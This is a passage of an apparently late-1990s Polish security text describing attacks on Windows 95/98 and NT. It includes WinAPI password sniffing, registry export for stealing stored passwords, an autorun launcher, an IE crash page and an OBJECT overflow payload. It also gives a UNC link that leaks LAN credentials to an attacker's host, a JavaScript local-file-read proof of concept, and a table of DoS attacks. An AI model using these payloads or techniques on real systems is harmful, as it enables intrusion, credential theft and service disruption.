Ataki na Windows 95/98

Każdy haker wie, że nie istnieje coś takiego jak ochrona danych w systemie operacyjnym Windows 95, gdyż taka możliwość nie została przewidziana przez firmę Microsoft. Co prawda istnieje system haseł, ale nie jest on specjalnie funkcjonalny. Brakuje również mechanizmów sprawdzania dostępu do plików czy innych zasobów systemu. Z pomocą intruzom przychodzi ponadto WinAPI, w którym aż roi się od funkcji umożliwiających wykorzystanie systemu „niezgodnie z jego przeznaczeniem". System ten nie powinien zatem być traktowany jako „system do wszystkiego" i jeżeli już zostanie podłączony do Sieci, należy się liczyć z ewentualnym niebezpieczeństwem.

WinAPI

Wiele luk w systemie bezpieczeństwa związanych jest z samym systemem operacyjnym i, aby zrozumieć ich zasadę, należy w minimalnym chociaż stopniu przyswoić sobie działanie WinAPI (*Windows Application Programming Interface*).

Wszystkie obiekty graficzne widziane na ekranie, takie jak: przyciski, pola tekstowe, listy wyboru itp. są przez system traktowane tak samo — każdy taki obiekt jest oddzielnym oknem, które podlega pewnym zależnościom, a okna z kolei mają właściwości określające kolor, czcionkę, wygląd i rożne inne cechy charakterystyczne dla klasy danych okienek. Każde okno ma również zdefiniowane procedury obsługi wiadomości pochodzących z systemu, bądź to od użytkownika czy innej aplikacji. „Wiadomości stanowią bowiem bardzo sprytny mechanizm systemu powiadamiania jego komponentów o tym, że zaistniało jakieś zdarzenie np. użytkownik wpisał text do okienka klasy *TextEdit* (okienko tekstowe), system wysłał do kolejki wiadomości polecenie *SetText* (ustaw tekst) w momencie, gdy okienko „obsłuży" wszystkie wiadomości w kolejce i „dojdzie" do *SetText*, w polu tekstowym zostanie wyświetlona wartość wpisana przez użytkownika. Teraz należałoby zadadać kolejne pytanie — czemu służą kolejki wiadomości? Odpowiedź wydaje się prosta — są one po to, by okienko „wiedziało", które rzeczy ma obsługiwać i w jakiej kolejności. WinAPI udostępnia funkcje, które pozwalają podglądać kolejki wiadomości dla dowolnego okienka, udostępnia również funkcje służące do odczytywania właściwości okienek oraz wartości tych właściwości (np. okienko tekstowe *Edit* ma właściwość typu *Text*, która jest wyświetlana i stanowi odwzorowanie tego, co wpisał użytkownik; jest ono identyfikowane za pomocą uchwytu, swoistego identyfikatorem w skali systemu.

I znów nasuwa się pytanie — jaki sens ma wprowadzenie dodatkowych zasad obsługi, skoro tekst okna tekstowego zawsze jest widoczny? I znów odpowiedź okaże się prosta. Istnieje bowiem bardzo sprytna właściwość okienek tekstowych — *PasswdChar*. Jeśli jest ona odpowiednio ustawiona, to okienko zamiast wyświetlać właściwość *Text,* pokaże znaczki *** (w ilości odpowiedniej do ilości liter w *Text*).

Jest to możliwość doskonale znana ze wszystkich programów, w których trzeba wprowadzić hasło. Stanowi jednak pozorną ochronę, gdyż właściwość *Text* dalej zawiera prawidłowy napis (np. hasło użytkownika).

Dobrze jest pamiętać także o tym, że wszystkie funkcje mogą być wykonywane przez dowolny program.

Narzędzia

Do hakowania Windowsa wykorzystać można wiele narzędzi, np.:

- *WinSight [Windows and messages viewer]* — aplikacja dostarczana z produktami firmy Borland (obecnie Inprise), która pozwala między innymi podglądać wiadomości wysyłane do docelowych okien;
- *Tunel* — prosty programik tunelujący transmisję TCP/IP; dodatkową opcję stanowi możliwość podglądania całej transmisji w konsolowym okienku;
- *FS [Fake Server]* — program, który udaje serwer dowolnej usługi; został napisany w celu testowania protokołów Sieciowych i ich klientów, ale doskonale może posłużyć jako sniffer haseł programów pocztowych, gdyż ma możliwość podglądu i logowania transmisji;
- *Listen* — program, którego jedyną funkcją jest nasłuchiwanie prowadzone na danym porcie i informowanie użytkownika o próbach połączenia; może służyć do monitorowania portu 139 i chronić przed sławetnym WinNukiem;
- *DUP [Dial-up passwd]* — programik, który używając funkcji WinAPI „wyciąga" hasła służące do łączenia się z Internetem;
- *PortScanner* — służy do skanowania portów zdalnego hosta, pozwala określić, które usługi (i w jakich wersjach) są dostępne na serwerze;
- *ICQThief* — „podszywa" się pod serwer ICQ i pokazuje hasło ofiary; *winspy.dll* to biblioteka, która „podszywa" się pod *winsock.dll* (obsługa TCP/IP) i pozwala śledzić wszystkie odwołania wraz z parametrami;
- *Netstat* — standardowy program do sprawdzania połączeń dołączony do systemu.

Programy, takie jak: Tunel, FS, Listen i DUP, można pobrać z Internetu np. ze strony *http://dione.ids.pl/~jan.*

Ataki lokalne

Ataki na hasła w programach pocztowych i FTP

W tym przypadku bardzo często mamy do czynienia z brakiem wyobraźni programistów. Do takiego wniosku nieodwołalnie prowadzi fakt, że hasła tych programów

przeważnie da się albo rozkodować, albo wykorzystać bez rozkodowywania, ponieważ najczęściej są zapisywane w rejestrze w formie zaszyfrowanej (często używa się do tego słabych algorytmów) lub w plikach konfiguracyjnych. Najprostszą metodą na ich użycie jest zdobycie pliku konfiguracyjnego lub fragmentu rejestru z odpowiednim kluczem i umieszczenie go na dysku twardym własnego komputera (w skonstruowanej uprzednio konfiguracji softwarowej) dokładnie w tym miejscu, z którego został pobrany. Sprawi to, że program „potraktuje" dany wpis jak swój własny i sam zajmie się rozkodowaniem odpowiednich danych. Jeśli z jakichś powodów ta metoda okaże się niemożliwa do zastosowania, haker może rozkodować hasło znajdujące się w rejestrze lub pliku (udało się już złamać hasła do WS_Ftp, IEMail, Netscape, Cute_FTP). Powód jest prosty — słaby algorytm kodowania.

Usługa Dial-up

WinAPI zawiera funkcje przystosowane do obsługi połączenia z Internetem poprzez modem telefoniczny. Wśród nich znajdują się również takie, za pomocą których można ustawić bądź pobrać ustawienia parametrów połączenia.

Funkcja:

```
DWORD RasGetEntryDialParams (
LPTSTR lpszPhonebook,
LPRASDIALPARAMS lprasdialparams,
LPBOOL lpfPassword
```

pozwala każdemu programowi na pobranie informacji o konkretnym połączeniu (z hasłem włącznie). Na działaniu tej funkcji opiera się program Dial-up. Co istotne — hasło nie jest w żaden sposób kodowane!

Sniffing wiadomości

Każdy szanujący się adept sztuki hakerskiej wie, że możliwe jest ustawienie tak zwanych procedur HOOK, do których będą przekazywane wiadomości skierowane do danego okienkam, co pozwala na podgląd różnych jego parametrów oraz na napisanie ciekawych programów-narzędzi (np. można w ten sposób znajdować okna, które dopiero co zostały zamknięte lub otwarte). Haker robi to w następujący sposób:

- Włącza WinSight;
- W menu *Spy* ustawia opcję *Follow focus;*
- W menu *Messages* ustawia opcję *All windows;*
- W oknie *Messages/Options* ustawia tylko opcję *Window;*
- W oknie *Messages/Processes* zaznacza tylko te procesy, które go interesują.

Po kliknięciu okienka, w którym jest zamaskowany tekst (w postaci ******), w pierwszej części okna WinSighta pokazują się właściwości tego okienka wraz z tekstem w postaci jawnej, a jeśli klikniemy dwukrotnie tę pozycję, pokaże się okno z dokładnymi właściwościami okienka. Wtedy widać, że właściwość *Password* ustawiona jest na *true*.

W dolnej części okna można śledzić wiadomości, jakie są wysyłane do okienka docelowego. Po kliknięciu okienka tekstowego — jeśli okno macierzyste jest okienkiem dialogowym — zostaje wysyłana wiadomość „WM_GETDLGCODE", która zwraca m.in. wartość tekstu w okienku. Nie jest to oczywiście jedyna wiadomość, którą da się wykorzystać w ten sposób. I hakerzy ciągle eksperymentują.

Autorun

To bardzo ciekawy wynalazek firmy z Redmont. Jeśli na dysku CD-ROM umieścimy plik *autorun.inf,* który będzie zawierał tekst:

```
[autorun]
OPEN=NAZWA_PROGRAMU.EXE
```

to od razu po włożeniu CD zainstaluje się program *NAZWA_PROGRAMU.EXE*, który niesie ze sobą potencjalne zagrożenie. Na dodatek może on „ukryć się" w systemie, tak aby użytkownik nie mógł go zauważyć nawet po naciśnięciu *Ctrl+Alt+Del*. Szczególnie trzeba uważać na płyty z pirackim oprogramowaniem, które powyższy trik mogą wykorzystywać.

Wykradanie rejestru systemowego

Do operacji wykonywanych na rejestrze służy program Regit, który zaopatrzony jest w bardzo ciekawe opcje. Może on zostać uruchomiony bez pokazywania okienka. Parametr ‚-e' służy tu do eksportowania rejestru bądź jego części do pliku *.reg* (jest to plik tekstowy).

Polecenie:

```
regedit –e c:\1.reg HKEY_CURRENT_USER\Software
```

utworzy plik *1.reg* w katalogu głównym dysku *C* zawierający klucz *HKEY_ CURRENT_USER\ Software*. W zależności od ilości zainstalowanego oprogramowania plik ten będzie zawierał od kilkuset kilobajtów do kilku megabajtów, a po kompresji może mieć rozmiar idealny do przesłania przez Internet.

Ciekawe klucze w rejestrze

Autostart — [*HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run*].

Wszystkie polecenia, które zostaną tu umieszczone będą wykonane podczas startu.

Ustawienia programów — [*HKEY_CURRENT_USER\Software*] — mieszczą konfiguracja, hasła, numery seryjne itp.

Sposoby wykorzystania rejestru

Jeśli haker posiada fragment czyjegoś rejestru i chce korzystać z jakiegoś hasła to, aby uniknąć konieczności zbędnego rozkodowywania haseł, może zaimportować odpowiednie klucze z utworzonego na komputerze ofiary pliku *.reg*. Docelowy program potraktuje to jako oryginalną konfigurację.

Podglądanie transmisji pakietów w Sieci

Jeśli haker zamierza podejrzeć transmisję prowadzoną między dwoma hostami, to może to zrobić na trzy różne sposoby :

1. Przechwycić odwołania do biblioteki *winsock.dll*;
2. Przepuścić całą transmisję przez naszą aplikację;
3. Śledzić to, co jest przesyłane za pomocą kabla.

O ile trzecia metoda łączy się z ingerencją w sterowniki, o tyle pierwsza i druga z powodzeniem pozwalają się wykonać (nie trzeba chyba przypominać, że transmisja w protokołach SMTP, NNTP, FTP, HTTP itp. nie jest kodowana). Więc wszystkie hasła czy loginy mogą być łatwo podglądane.

WinSpy

Podszywa się pod bibliotekę *winsock.dll* i loguje wszystkie odwołania do niej łacznie z parametrami przekazywanymi do odpowiednich funkcji. Jest to o tyle dobry program, że można za jego pomocą prześledzić dokładnie, co „robią" aplikacje z otwartym socketem, można również monitorować transmisję UDP.

Tunel

Prosty programik, który służy hakerowi do przekazywania transmisji z jednego socketa do drugiego. Może on np. „przepuścić" przez niego sesję IRC albo sesję POP3, żeby poznać hasło wysyłane do serwera (do odpowiedniego działania tego programu niezbędny jest jeszcze serwer, do którego można by przekierowywać transmisję).

FS

Fake Server jak sama nazwa wskazuje „udaje" serwer dowolnej usługi. Wystarczy, że w pliku konfiguracyjnym haker wpisze schemat protokołu (w formacie request-reply) np. POP3, a połączy się z nim programem-klientem. Cała transmisja może być logowana.

Windows 95/98 a konie trojańskie

Konie trojańskie działające w systemie operacyjnym Windows 95 to temat bardzo obszerny, gdyż codziennie powstają nowe, niebezpieczne i coraz to bardziej zaawansowane programy. Dlaczego? Odpowiedź jest prosta:

„... potęga tego systemu jest wprost proporcjonalna do ilości użytkowników na świecie. Kiedyś konie trojańskie były przeważnie prymitywnymi bombami logicz-

nymi lub zwykłymi programami destrukcyjnymi, teraz istnieją takie, które w środowisku uniksowym zwykło nazywać się «backdorami»".

Mechanizmy, które oferuje sam system bardzo sprzyjają działaniu takich programów. Można np. zupełnie ukryć proces, przekształcić go w „niezabijalny", uruchomić program przy starcie systemu bez wiedzy użytkownika czy wreszcie otworzyć na jakimś porcie serwer usługi Telnet, który będzie służył napasatnikowi do zdalnego kontrolowania naszej maszyny. Znanymi przykładami zaawansowanych koni trojańskich są BO (*Back Orifice*) i BOWL. Umożliwiają one sterowanie systemem Windows poprzez Sieć. Rozprzestrzenianiu się koni trojańskich służą wszelkiego rodzaju serwisy sharewarowe i gazety komputerowe zachwycające się każdym produktem rodzimych programistów. Powszechnie wiadomo, że łatwo jest przemycić w takim programie trojana.

Ataki poprzez Sieć

Nie istnieje zbyt dużo rodzajów ataków możliwych do przeprowadzenia z Sieci. Przeważnie są to proste ataki typu DoS (*Deniale of Service*). Aby w ogóle było możliwe do wykonania jakiekolwiek działanie skierowane z Sieci na komputer zaopatrzony w system Windows, musi on mieć zainstalowane dodatkowe oprogramowanie np. BO albo BOWLA. Ostatnio pojawiły się exploity wykorzystujące znany z Uniksa „buffer overflow", które pozwalają nawet na uruchomienie odpowiedniego programu poprzez Sieć.

Ataki DoS na Windows 95/98

Ataki DoS są klasycznym przykładem ataku przeprowadzanego z Sieci przeciwko systemowi Windows. Nie są one zbyt groźne, gdyż co najwyżej spowodować mogą utratę danych w aktualnie używanych aplikacjach (są szczególnie niebezpieczne dla serwerów). Klasyczne DoS-y, na które jest podatny Windows to Winnuke, Teardrop, Teardrop2, Synflood, Syndrop, PingOfDeath, Nestea, Nestea2, Hanson, Smurf, Click i w zasadzie wszystki te, których działanie polega na modyfikowaniu nagłówków IP.

Hasła i Sieć

ICQ

Dobrze wszystkim znany i rozpowszechniony ICQ ma bardzo niedopracowany algorytm transmisji, która odbywa się przez sockety datagramowe (UDP). Na początku sesji klient-serwer do tego drugiego jest wysyłane hasło w postaci tekstu (atak hakera polega na tym, że na swoim komputerze ustawia on program ICQThief, który będzie czekał na połączenie i przechwytywał hasło.

Ws_Ftp

Starsze wersje Ws_FTP razem z plikami uploadowały na serwer specjalny plik konfiguracyjny, w którym między innymi zapisane było hasło użytkownika. Na szczęście ten rażący błąd został szybko zlikwidowany i dziś już nie występuje. Należy dodać, że WS_FTP jest najpopularniejszym klientem tej usługi.

ActiveX i Java

Kontrolki ActiveX, które można stosować na stronach WWW obsługiwane są m.in. przez Internet Explorera, ponieważ nie istnieje tutaj w zasadzie technologia sandbox (piaskownica) znana z JVM (*Java Virtual Machine*). Programy zapisane w tym formacie mają dostęp do wszystkich zasobów komputera — chroni przed nimi jedynie pełne wyłączenie obsługi tej technologii w przeglądarce.

Teoretycznie wszystkie używane na stronach WWW kontrolki ActiveX powinny mieć certyfikat autentyczności. Jednak nawet gdy go nie posiadają, można je uruchomić, a jedynym zabezpieczeniem przed hakerami będzie ostrzeżenie ze strony przeglądarki o wątpliwym pochodzeniu danego komponentu (w Sieci można znaleźć tzw. „evil ActiveX" ewentualnie „RadioActiveX", czyli kontrolki, które robią różne „ciekawe" rzeczy z naszym systemem). Inaczej sprawa wygląda z appletami Javy — tutaj dzięki „piaskownicy" można kontrolować to, co applet może, a do czego nie ma prawa wykonać. Poza tym JVM narzuca pewne ograniczenia i byłoby to bardzo bezpieczne rozwiązanie, gdyby nie błędy występujące kodach.

Błędy Internet Explorera

Jakiś czas temu (wraz z wprowadzeniem wersji 3.0) wiele się mówiło o błędach IE. Wraz z każdą kolejną wersją, która pojawiała się na rynku, programiści z całego świata oraz hakerzy mieli coraz więcej rozrywki w odnajdywaniu luk bezpieczeństwa. W tej chwili nawet wersja 5.0 jest podatna na poważne błędy, co jest o tyle niebezpieczne, że program Outlook Express wykorzystuje biblioteki IE do wyświetlania wiadomości i listów zapisanych w formacie HTML.

O ile na stronę WWW haker musi ofiarę „ściągnąć" tak, aby obejrzała jego odpowiednio spreparowane dzieło, to w przypadku listów wystarczy, że wyśle go na odpowiedni adres.

Ramki rekursywne

```
<HTML>
<FRAMESET COLS=„50,50”>
<FRAME NAME=„frame1” SRC=„test.html>
<FRAME NAME=„frame2” SRC=„test.html>
</FRAMESET>
</HTML>
```

Kiedy zapiszemy powyższy kod HTML w pliku *test.html,* jego wykonanie w przeglądarce IE (3.0-4.0) spowoduje zawieszenie programu, a nawet całego systemu. Jest to proste działanie — IE w nieskończoność ładuje ramki „frame1" i „frame2" stronami z pliku *test.html*, który zawiera kolejne ramki „frame1" i „frame2" — i tak aż do wyczerpania zasobów.

Buffer Overflow OBJECT

```
<OBJECT
CLSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA>
```

Wpisanie takiego TAG-a na stronie HTML lub w e-mail spowoduje „wykrzaczenie" się programu (w Outlooku na dodatek nie będzie można usunąć listu ze skrzynki, bo za każdym razem, gdy zostanie on kliknięty, zawieszać się będzie program; jeśli przez „przypadek" post trafi na pierwszą pozycję w jakiejś grupie dyskusyjnej to użytkownik wyżej wymienionego programu nie będzie mógł tam „weść", bo automatycznie się otworzy post zawierający nasz „evil code". Zamiast „AAAA" można prawdopodobnie wpisać kod wykonywalny, gdyż jest to tylko kwestią znajomości długości bufora.

Przekazywanie hasła

Czy przeglądarka WWW może wysłać do Internetu nasze dane (włączając w to login i hasło do Sieci LAN)?

Dla wszystkich wersji systemu Windows (95, OSR2, 3.x, NT) odpowiedź brzmi: TAK, jeśli jest to wersja <= 3.01 Internet Explorera lub Netscape Navigatora. Błąd polega na tym, że jeśli przeglądarka znajdzie w dokumencie adres w postaci:

```
file://\\aa.bb.cc.dd\path\to\file
```

gdzie `aa.bb.cc.dd` stanowią numer IP odległego hosta, to spróbuje się z nim połączyć wysyłając dane użytkownika LAN sądząc, że ma do czynienia z serwerem plików. Potwierdzanie autentyczności odbywa się następująco:

1. Najpierw serwer wysyła jakiś losowo wybrany ciąg znaków;
2. Komputer go odbiera i szyfruje używając jako klucza hasła użytkownika;
3. Zaszyfrowany tekst jest przesyłany do serwera;
4. Następnie serwer po kolej szyfruje oryginalny tekst za pomocą wszystkich haseł w bazie danych; jeśli zaszyfrowane hasło będzie takie samo jak to przesłane przez klienta to połączenie zostanie nawiązane.

W ten sposób haker sprawdza autentyczność klienta bez przesyłania jego hasła przez Sieć. Dzieje sie to bezgłośnie i bez podania jakiejkolwiek informacji. Atak polega na tym, aby w dokumencie ukryć adres o wyżej wymienionym formacie wskazującym na serwer jakiegoś hakera, na którym jest uruchamiana specjalnie zmodyfikowana wersja serwera plików. Mając do dyspozycji dane przesłane przez przeglądarkę, można zastosować tzw. atak brute force ewentualnie z wykorzystaniem słownika. Nawet jeśli to się nie powiedzie, atakujący komputer ma i tak sporo informacji o kliencie.

Przesyłanie pliku

Jednym z licznych błędów IE jest dana hakerom możliwość odczytania przez specjalnie przygotowaną stronę WWW tekstu lub pliku HTML z komputera użytkownika i wysłania jego zawartości na inny komputer. Dzieje się to nawet kiedy użytkownik jest za firewallem. Błąd wykorzystuje Java Script, a nazwa i położenie pliku muszą być znane. Innym sposobem na wykorzystanie tego błędu jest wysłanie specjalnie przygotowanej wiadomości do Outlook Express z IE4 .

```
The source of the page:
———Cut here——
<HTML>
<HEAD><TITLE>Read text/HTML file with Internet Explorer
4.01></TITLE></HEAD>
<BODY>
This demonstrates a bug in IE 4.01 under Windows 95 (don't know for
other versions), which allows reading text or HTML file on the
user's machine.
<B>Create the file c:\test.txt</B> and its contents are shown in a
message box. The file may be sent to an arbitrary server even if
behind a firewall.
<BR>
To test it, you need Javascript enabled.
<BR>
This file is created by <A
HREF=http://www.geocities.com/ResearchTriangle/1711>Georgi
Guninski.</A>
<SCRIPT LANGUAGE=„JAVASCRIPT">
alert(„This page demonstrates reading the file C:\\test.txt (you may
need to create a short file to view it)");
var x=window.open('file://C:/test.txt');
x.navigate(„javascript:eval(\"var
a=window.open('file://C:/test.txt');r=a.document.body.innerText;aler
t(r);\")");
</SCRIPT>
</BODY>
</HTML>
```

W podsumowaniu można stwierdzić, że system Windows 95 jest dostępny dla każdego włamywacza i nie stanowi on żadnego wyzwania. Dobrze jest zatem zaopatrzyć go w pakiety umożliwiające wprowadzenie ochrony danych.

Warto więc zwrócić szczególną uwagę na miejsca, dla których Windows 95 stanowi zagrożenie, a są to:

- Urzędy, banki;
- Kawiarenki internetowe;
- Lotniska (terminale WWW);
- Punkty promocyjne TPsa;
- Wszelkiego rodzaju miejsca, w których dostęp do Sieci nie jest kontrolowany;
- Targi (np. EXPO, INFOSYSTEM, COMMNET itp.).

Ataki na Windows NT

Rozważania dotyczące podatności sytemu Windows NT na ataki hakerskie, należałoby rozpocząć od odpowiedzi na pytanie o to, skąd się biorą „dziurawe" systemy.

Główną przyczynę należy upatrywać w:

- Błędach w oprogramowaniu;
- Lukach w protokołach sieciowych (stos TCP/IP) i aplikacyjnych (FTP, HTTP);
- Lukach w systemie operacyjnym;
- Lukach w aplikacjach;
- Implementacji zastosowanej kryptografii;

Nie małą rolę odrywają także:

- Błędy w użytkowników i administratorów;
- Niewiedza i brak szkoleń w zakresie:
  - organizacyjnych aspektów ochrony informacji;
  - systemów i narzędzi ochrony aplikacji;
- Brak organizacji ochrony informacji;
- Błędy wynikające ze standardowej konfiguracji systemu.

Główne cele ataków hakerskich to:

- Nieuprawniony dostęp;
- Kradzież informacji;
- Zniszczenie informacji;
- Modyfikacja informacji;
- Blokada usług (DoS — *Denial of Service*).

Warto więc zapoznać się z niektórymi popularnymi formami ataku, jaki może zostać przeprowadzony. Poniżej przedstawione zostały podstawowe metody ataków hakerów wymierzone w system Windows NT.

Typ ataku	Nazwa	System Program	Sposób	Efekt	Uwagi
DoS	cpu, Telnet DoS	Windows NT, 3.51 / 4.0	Haker telnetuje się na port 135, 53 lub 1031 i wpisuje dziesięć znaków, a później kończy połączenie	Na atakowanym komputerze zużycie procesora rośnie do 100 %, co uniemożliwia pracę	Porty : 53 — jeśli na komputerze działa DNS, to przestaje nagle funkcjonować; 135 — *RPCSS.exe* zużywa więcej czasu procesora niż powinien; 1031 — jeśli działa IIS, to musi zostać zrestartowany
DoS			Haker wysyła niewłaściwe ramki UDP	Jeśli na komputerze działa serwis WINS, to zostaje on zatrzymany	
Nie-uprawniony dostęp		Windows NT, 4.0, IIS	Haker podaje w przeglądarce adres: *http://www.domena.com/../*	Z serwera można ściągać pliki spoza katalogu „root”	
Nie-uprawniony dostęp	GetAdmin	Windows NT, 4.0	Haker loguje się lokalnie na komputerze i używa programu; nie działa z konta Guest	Tym sposobem otrzymuje prawa administratora	Nawet jeśli użytkownik posiada prawa do debugowania pojedynczych procesów, to nawet zainstalowanie odpowiedniego hotfixa nic nie zmienia
DoS	MS, IIS 4.0 FTP, DoS	IIS 4.0 posiadający co najmniej sto wirtualnych katalogów	Haker wysyła co najmniej dziesięć równoległych żądań do publicznego katalogu serwera	Na żądanie dostępu do publicznych i prywatnych katalogów serwer odpowiada błędem „426 Connection closed;	Aby przywrócić system do działania należy zrestartować IIS

				transfer aborted”	

Typ ataku	Nazwa	System Program	Sposób	Efekt	Uwagi
DoS	TearDrop	Windows NT, 3.51 / 4.0	Haker wysła dużą ilość niepoprawnych pakietów UDP	Zawieszenie systemu	
DoS	Ping of Death	Windows NT, 3.51	Haker wysyła ping — l 65523	Pojawi się niebieski ekran	
DoS	Samba DoS	Windows NT, 3.5 / 3.51	Z klienta Samby haker wysyła komendę DIR ..\	Pojawi się niebieski ekranu	
DoS	SYN Flood	Windows NT 3.5 / 3.51 / 4.0	Haker wysyła do komputera dużo pakietów SYN (żądanie rozpoczęcia transmisji) z nieistniejącym adresem IP, co powoduje alokację zasobów do obsługi nadchodzącego połączenia oraz wysłanie pakietów SYN-ACK; próby ponawiane są 5 razy po 3, 6, 9, 12, 24 i 48 sekundach, a przy braku odpowiedzi, należy poczekać jeszcze 96 sekund i dopiero po tym czasie (ponad 3 min) zwalniane są zasoby		Jeśli w polu STATE po wykonaniu polecenia netstat n-p tcp znajduje się dużo wpisów SYN_RECEIVED istnieje duże prawdopodobieństwo, że staliśmy się obiektem ataku typu SYN Flood
Nie-uprawniony dostęp, DoS	Ataki słownikowe i te, które są przeprowadzane metodą *brute force*		Haker próbuje odgadnąć hasło, a może to czynić za pomocą słownika zawierającego najpopularniejsze słowa, imiona itp. lub przez podawanie jako hasła wszystkich możliwych	Haker uzyskuje nieuprawniony dostęp lub zablokowuje konto	

	kombinacji liter, cyfr i znaków specjalnych

Opisane w tabeli ataki są podstawowymi, stosowanymi przez włamywaczy sposobami przejęcia kontroli nad zdalnym systemem. Dane zostały opracowane na podstawie materiałów z konferencji NT Security (Warszawa 16.09.1998) umieszczonych pod adresem: *http://nt.faq.net.pl/* .

Trzeba pamiętać, że to, co sprawia, że Internet jest tak potężny — czyli dostęp z całego świata do informacji na komputerach połączonych w Sieci — jest także olbrzymim ryzykiem utrzymania integralności i bezpieczeństwa danych. Co złego może wydarzyć się, jeśli zaniedba się kwestię bezpieczeństwa Internetu? Pamiętajmy, że brak właściwej uwagi prowadzi do:

1. Ujawniania zastrzeżonych informacji:
   - Informacji własnych;
   - Informacji klientów;
   - Informacji o bezpieczeństwie wewnątrz Sieci.
2. Zaprzestania obsługi:
   - Zapełnienie przez hakerów pojemności dysków i uniemożliwienie odbioru właściwych informacji (poczta, polecenia itp.);
   - Zablokowanie pasma internetowego przez niewłaściwe operacje;
   - Zablokowanie procesora przez niewłaściwe używanie;
   - Utrata lub uszkodzenie plików.
3. Fałszywego przedstawiania się (podszywania się):
   - Wyświetlanie i rozpowszechnianie niewłaściwych informacji w cudzym imieniu;
   - Kradzież lub używanie list uwierzytelniających;
   - Atakowanie innych Sieci.

Podsumowując — hakerzy-włamywacze stosują zróżnicowane techniki agresji na system informatyczny. Najczęściej stosowane to:

- Atak brutalny;
- Podszywanie się;
- Podsłuchiwanie;
- Pułapki oraz otwarte drzwi;
- Konie trojańskie i wirusy;
- Stosowanie socjotechnik;
- Tworzenie „sztucznego tłoku” w Sieci.

Atak brutalny

Haker uzbrojony w program generujący (z wykazem faktycznych lub prawdopodobnych nazw kont na serwerach) i ze standardowym słownikiem gotów jest do uderzenia. Jego program może wygenerować w ciągu godziny tysiące kombinacji nazw i haseł użytkowników i próbować dostać się do systemu.

Podszywanie się (spoofing)

Haker może wysłać do Sieci pakiety danych z zewnątrz, tworząc je w taki sposób, że wyglądają tak, jakby pochodziły z legalnego komputera podłączonego do Sieci. Chociaż protokoły komunikacyjne raczej nie odeślą do niego wyników tych transakcji przez Internet, to jednak błyskotliwy haker ciągle będzie wysyłać kolejne polecenia, w rezultacie których naruszone zostanie bezpieczeństwo. Zazwyczaj wysyła on pewne fragmenty sieciowych konwersacji, a następnie sprawdza, czy zadziałały tak, jak zaplanował. Na przykład serwer z prywatnymi listami pocztowymi może być skonfigurowany tak, aby możliwy był dostęp tylko dla wewnętrznych połączeń w Sieci. Jednakże haker wysyłając swoje fragmentach konwersacji, może dołączyć do nich instrukcje, które spowodują, że serwer pocztowy wyśle do niego e-mail z wykazem wszystkich członków list pocztowych. Nie otrzyma więc bezpośredniej odpowiedzi od serwera w Sieci, ale może otrzymać wynik w postaci przesyłki poczty elektronicznej. Teraz, mając listę poprawnych nazw kont, może zastosować atak brutalny.

Podsłuchiwanie (eaves dropping)

Każdy, kto ma fizyczny dostęp do okablowania Sieci, okablowania dostawcy Internetu lub do dowolnego komputera pośredniczącego, może monitorować ruch internetowy zachodzący w Sieci. Proste oprogramowanie monitorujące lub sprzętowy przeszukiwacz może łatwo odczytywać wszystkie nieutajnione informacje. Co więcej, nawet zaszyfrowane hasła mogą być przechwycone i powtórnie wykorzystane, jeśli metoda utajniania nie jest wystarczająco czasochłonna lub oparta na najprostszych mechanizmach.

Wykorzystywanie pułapek oraz otwartych drzwi

Istniejące usterki lub możliwości śledzenia przebiegów (zastawiane pułapki) stosowane w programach na serwerze są szybko w społeczności hakerów upowszechniane i wykorzystywane. Jeśli potrafią oni „przepytać" serwer i odkryć, że uruchomiona jest wersja X jakiegoś programu, który ma luki bezpieczeństwa, niewątpliwie wykorzystają je w kolejnym ataku. Około 15 lat temu w wielu systemach Uniksa występował słynny błąd, który umożliwiał wysłanie poczty powodującej zamianę pliku z hasłami dla całego systemu. Wprawdzie został on usunięty, ale jak wiele błędów może kryć się w oprogramowaniu liczącym ponad 200 MB?

O ile zastawianie pułapek jest niebezpieczne, o tyle „otwarte drzwi" są jeszcze gorsze i stanowią ewidentne luki w konfiguracji Sieci wynikające z nieroztropnego administrowania. Jeśli haker na przykład uzyska możliwość zapisu w katalogu CGI, może przesłać swoje własne programy i później użyć przeglądarki WWW do ich

uruchomienia, spełniając równocześnie wymogi ochrony serwera webowego. Innym poważnym błędem byłoby udostępnienie w usłudze FTP woluminu z systemem plików FAT, który w odróżnieniu od NTFS nie posiada zabezpieczeń dostępu do plików i folderów. Wolumen taki stanie się więc całkowicie dostępny poprzez FTP i bezbronny na ataki hakerów.

Stosowanie koni trojańskich i wirusów

Haker może nakłonić któregoś z użytkowników sieci lokalnej do uruchomienia oprogramowania, które później będzie mógł wykorzystać do ataku. Takie „złośliwe" oprogramowanie może :

- Zebrać informacje bezpieczeństwa i sekretnie przekazywać je hakerowi;
- Wstawić lub skasować informacje na jakimś komputerze w sieci lokalnej;
- Wykonać „tunel" umożliwiający komunikację internetową z komputera hakera do komputera w sieci lokalnej z pominięciem zabezpieczeń firewalla. Wówczas może badać serwery lub nawet przedostać się na zewnątrz i zaatakować poprzez Internet inne obszary, stwarzając wrażenie, jakby sprawcą tego działania był użytkownik sieci lokalnej.

Stosowanie socjotechnik

Najlepsze blokady na niewiele będą przydatne, jeśli nie ochroni się kluczowych informacji. Haker może po prostu wykorzystać kogoś z organizacji do uzyskania danych, które są mu potrzebne. Jest to bardzo częsty sposób ataku, dotyczący większości organizacji. Zwykle schemat działania jest taki: haker przedstawia się jako uprawniony użytkownik, który po prostu zapomniał swego hasła. Błaga o pomoc, zazwyczaj przez e-mail lub telefonu. Jeśli ktoś z personelu administracyjnego wyjdzie naprzeciw takim prośbom i zmieni hasło, ile będzie wart nawet najlepszy firewall?

Tworzenie „sztucznego tłoku"

